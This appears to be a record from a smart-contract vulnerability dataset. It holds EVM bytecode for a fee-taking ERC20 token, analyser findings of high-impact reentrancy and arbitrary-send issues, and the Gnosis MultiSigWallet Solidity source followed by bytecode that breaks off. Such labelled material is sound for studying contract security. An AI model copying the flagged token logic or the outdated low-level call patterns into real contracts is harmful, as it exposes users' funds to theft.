ffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561200e57600090505b61201a848484846125ef565b50505050565b6000838311158290612068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205f9190613342565b60405180910390fd5b506000838561207791906136fb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120e7600a6120d960048661252a90919063ffffffff16565b6125a590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612112573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612176600a61216860048661252a90919063ffffffff16565b6125a590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121a1573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612205600a6121f760028661252a90919063ffffffff16565b6125a590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612230573d6000803e3d6000fd5b5050565b600060065482111561227b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227290613384565b60405180910390fd5b600061228561261c565b905061229a81846125a590919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122da576122d96138d0565b5b6040519080825280602002602001820160405280156123085781602001602082028036833780820191505090505b50905030816000815181106123205761231f6138a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123c257600080fd5b505afa1580156123d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123fa9190612d89565b8160018151811061240e5761240d6138a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061247530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611402565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124d99594939291906134ff565b600060405180830381600087803b1580156124f357600080fd5b505af1158015612507573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561253d576000905061259f565b6000828461254b91906136a1565b905082848261255a9190613670565b1461259a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259190613404565b60405180910390fd5b809150505b92915050565b60006125e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612647565b905092915050565b806125fd576125fc6126aa565b5b6126088484846126db565b80612616576126156128a6565b5b50505050565b60008060006126296128b8565b9150915061264081836125a590919063ffffffff16565b9250505090565b6000808311829061268e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126859190613342565b60405180910390fd5b506000838561269d9190613670565b9050809150509392505050565b60006008541480156126be57506000600954145b156126c8576126d9565b600060088190555060006009819055505b565b6000806000806000806126ed8761291a565b95509550955095509550955061274b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127e085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061282c81612a2a565b6128368483612ae7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161289391906134e4565b60405180910390a3505050505050505050565b6002600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506128ee683635c9adc5dea000006006546125a590919063ffffffff16565b82101561290d57600654683635c9adc5dea00000935093505050612916565b81819350935050505b9091565b60008060008060008060008060006129378a600854600954612b21565b925092509250600061294761261c565b9050600080600061295a8e878787612bb7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612020565b905092915050565b60008082846129db919061361a565b905083811015612a20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a17906133c4565b60405180910390fd5b8091505092915050565b6000612a3461261c565b90506000612a4b828461252a90919063ffffffff16565b9050612a9f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afc8260065461298290919063ffffffff16565b600681905550612b17816007546129cc90919063ffffffff16565b6007819055505050565b600080600080612b4d6064612b3f888a61252a90919063ffffffff16565b6125a590919063ffffffff16565b90506000612b776064612b69888b61252a90919063ffffffff16565b6125a590919063ffffffff16565b90506000612ba082612b92858c61298290919063ffffffff16565b61298290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bd0858961252a90919063ffffffff16565b90506000612be7868961252a90919063ffffffff16565b90506000612bfe878961252a90919063ffffffff16565b90506000612c2782612c19858761298290919063ffffffff16565b61298290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612c53612c4e84613599565b613574565b90508083825260208201905082856020860282011115612c7657612c75613904565b5b60005b85811015612ca65781612c8c8882612cb0565b845260208401935060208301925050600181019050612c79565b5050509392505050565b600081359050612cbf81613c1a565b92915050565b600081519050612cd481613c1a565b92915050565b600082601f830112612cef57612cee6138ff565b5b8135612cff848260208601612c40565b91505092915050565b600081359050612d1781613c31565b92915050565b600081519050612d2c81613c31565b92915050565b600081359050612d4181613c48565b92915050565b600081519050612d5681613c48565b92915050565b600060208284031215612d7257612d7161390e565b5b6000612d8084828501612cb0565b91505092915050565b600060208284031215612d9f57612d9e61390e565b5b6000612dad84828501612cc5565b91505092915050565b60008060408385031215612dcd57612dcc61390e565b5b6000612ddb85828601612cb0565b9250506020612dec85828601612cb0565b9150509250929050565b600080600060608486031215612e0f57612e0e61390e565b5b6000612e1d86828701612cb0565b9350506020612e2e86828701612cb0565b9250506040612e3f86828701612d32565b9150509250925092565b60008060408385031215612e6057612e5f61390e565b5b6000612e6e85828601612cb0565b9250506020612e7f85828601612d32565b9150509250929050565b600060208284031215612e9f57612e9e61390e565b5b600082013567ffffffffffffffff811115612ebd57612ebc613909565b5b612ec984828501612cda565b91505092915050565b600060208284031215612ee857612ee761390e565b5b6000612ef684828501612d08565b91505092915050565b600060208284031215612f1557612f1461390e565b5b6000612f2384828501612d1d565b91505092915050565b600060208284031215612f4257612f4161390e565b5b6000612f5084828501612d32565b91505092915050565b600080600060608486031215612f7257612f7161390e565b5b6000612f8086828701612d47565b9350506020612f9186828701612d47565b9250506040612fa286828701612d47565b9150509250925092565b6000612fb88383612fc4565b60208301905092915050565b612fcd8161372f565b82525050565b612fdc8161372f565b82525050565b6000612fed826135d5565b612ff781856135f8565b9350613002836135c5565b8060005b8381101561303357815161301a8882612fac565b9750613025836135eb565b925050600181019050613006565b5085935050505092915050565b61304981613741565b82525050565b61305881613784565b82525050565b6000613069826135e0565b6130738185613609565b9350613083818560208601613796565b61308c81613913565b840191505092915050565b60006130a4602383613609565b91506130af82613924565b604082019050919050565b60006130c7602a83613609565b91506130d282613973565b604082019050919050565b60006130ea602283613609565b91506130f5826139c2565b604082019050919050565b600061310d601b83613609565b915061311882613a11565b602082019050919050565b6000613130601d83613609565b915061313b82613a3a565b602082019050919050565b6000613153602183613609565b915061315e82613a63565b604082019050919050565b6000613176602083613609565b915061318182613ab2565b602082019050919050565b6000613199602983613609565b91506131a482613adb565b604082019050919050565b60006131bc602583613609565b91506131c782613b2a565b604082019050919050565b60006131df602483613609565b91506131ea82613b79565b604082019050919050565b6000613202601783613609565b915061320d82613bc8565b602082019050919050565b6000613225601183613609565b915061323082613bf1565b602082019050919050565b6132448161376d565b82525050565b61325381613777565b82525050565b600060208201905061326e6000830184612fd3565b92915050565b60006040820190506132896000830185612fd3565b6132966020830184612fd3565b9392505050565b60006040820190506132b26000830185612fd3565b6132bf602083018461323b565b9392505050565b600060c0820190506132db6000830189612fd3565b6132e8602083018861323b565b6132f5604083018761304f565b613302606083018661304f565b61330f6080830185612fd3565b61331c60a083018461323b565b979650505050505050565b600060208201905061333c6000830184613040565b92915050565b6000602082019050818103600083015261335c818461305e565b905092915050565b6000602082019050818103600083015261337d81613097565b9050919050565b6000602082019050818103600083015261339d816130ba565b9050919050565b600060208201905081810360008301526133bd816130dd565b9050919050565b600060208201905081810360008301526133dd81613100565b9050919050565b600060208201905081810360008301526133fd81613123565b9050919050565b6000602082019050818103600083015261341d81613146565b9050919050565b6000602082019050818103600083015261343d81613169565b9050919050565b6000602082019050818103600083015261345d8161318c565b9050919050565b6000602082019050818103600083015261347d816131af565b9050919050565b6000602082019050818103600083015261349d816131d2565b9050919050565b600060208201905081810360008301526134bd816131f5565b9050919050565b600060208201905081810360008301526134dd81613218565b9050919050565b60006020820190506134f9600083018461323b565b92915050565b600060a082019050613514600083018861323b565b613521602083018761304f565b81810360408301526135338186612fe2565b90506135426060830185612fd3565b61354f608083018461323b565b9695505050505050565b600060208201905061356e600083018461324a565b92915050565b600061357e61358f565b905061358a82826137c9565b919050565b6000604051905090565b600067ffffffffffffffff8211156135b4576135b36138d0565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136258261376d565b91506136308361376d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561366557613664613843565b5b828201905092915050565b600061367b8261376d565b91506136868361376d565b92508261369657613695613872565b5b828204905092915050565b60006136ac8261376d565b91506136b78361376d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156136f0576136ef613843565b5b828202905092915050565b60006137068261376d565b91506137118361376d565b92508282101561372457613723613843565b5b828203905092915050565b600061373a8261374d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061378f8261376d565b9050919050565b60005b838110156137b4578082015181840152602081019050613799565b838111156137c3576000848401525b50505050565b6137d282613913565b810181811067ffffffffffffffff821117156137f1576137f06138d0565b5b80604052505050565b60006138058261376d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561383857613837613843565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613c238161372f565b8114613c2e57600080fd5b50565b613c3a81613741565b8114613c4557600080fd5b50565b613c518161376d565b8114613c5c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a7bdaaabd4bc4ebe1b984b2b471b463cc1cb56aa6fff75084d1a87641539778664736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,324 |
0x146f2fba9eba1b72d5162a56e3e5da6c0f4808cc
|
pragma solidity 0.4.19;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="1360677675727d3d74767c61747653707c7d60767d606a603d7d7667">[email protected]</span>>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="ccbfb8a9aaada2e2aba9a3beaba98cafa3a2bfa9a2bfb5bfe2a2a9b8">[email protected]</span>>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffff